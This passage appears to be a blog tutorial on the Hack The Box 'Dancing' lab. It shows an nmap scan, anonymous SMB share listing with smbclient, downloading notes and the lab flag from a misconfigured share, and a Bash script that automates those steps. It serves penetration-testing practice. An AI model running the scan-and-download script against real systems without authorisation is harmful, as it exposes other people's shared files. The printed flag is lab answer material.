&lt;p&gt;nmap -sV 10.129.232.112&lt;br&gt;
Output snippet:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhhwre1t66bz9bzv20v5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhhwre1t66bz9bzv20v5.png" alt="445/tcp open  microsoft-ds" width="800" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. SMB Share Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Next, list all SMB shares—attempting anonymous login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smbclient -L //10.129.232.112 -N
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shares discovered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ADMIN$     Disk      Remote Admin
C$         Disk      Default share
IPC$       IPC       Remote IPC
WorkShares Disk      Custom share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The WorkShares share looks custom and ripe for misconfiguration.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Connecting &amp;amp; Downloading**
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;3.1 Connect Anonymously&lt;/strong&gt;&lt;br&gt;
Jump into the &lt;code&gt;WorkShares&lt;/code&gt; share without credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smbclient //10.129.232.112/WorkShares -N
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You’ll be dropped into an &lt;code&gt;smb:&lt;/code&gt; prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.2 Exfiltrate Files&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Grab worknotes.txt (lateral‑movement hints):
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; cd Amy.J
smb: \Amy.J\&amp;gt; get worknotes.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Retrieve &lt;code&gt;flag.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smb: \&amp;gt; cd ../James.P
smb: \James.P\&amp;gt; get flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5f61c10dffbc77a704d76016a22f1664
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Verify the flag:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat flag.txt
# 5f61c10dffbc77a704d76016a22f1664
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Automation Script&lt;/strong&gt;&lt;br&gt;
You can streamline this process with a simple Bash script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/env bash
# scripts/enum-smb.sh
# Usage: ./enum-smb.sh &amp;lt;TARGET_IP&amp;gt;

TARGET=$1

echo "[*] Nmap scan..."
nmap -sV $TARGET -oN nmap.txt

echo "[*] SMB enumeration..."
smbclient -L //$TARGET -N -g | tee smb-list.txt

echo "[*] Pulling files..."
smbclient //$TARGET/WorkShares -N &amp;lt;&amp;lt; 'EOF'
cd Amy.J
get worknotes.txt
cd ../James.P
get flag.txt
exit
EOF

echo "[*] Flag:"
cat flag.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bash scripts/enum-smb.sh 10.129.232.112

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Lessons Learned&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate custom shares (WorkShares, Public, etc.)—they’re often misconfigured.&lt;/li&gt;
&lt;li&gt;smbclient -N quickly tests anonymous/guest access.&lt;/li&gt;
&lt;li&gt;Automate routine recon to save time on engagements.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Conclusion &amp;amp; Next Steps&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Misconfigured SMB remains a top attack vector. Practice on HTB boxes to sharpen your skills, then:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Integrate SMB checks into your Recon scripts&lt;/li&gt;
&lt;li&gt;Explore authenticated SMB attacks (NTLM relay, pass‑the‑hash)&lt;/li&gt;
&lt;li&gt;Level up with Windows privilege escalation labs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🔗 Full write‑up &amp;amp; code: &lt;a href="https://github.com/keyfive5/obsidiansignal-htb-dancing" rel="noopener noreferrer"&gt;https://github.com/keyfive5/obsidiansignal-htb-dancing&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>smb</category>
      <category>pentesting</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
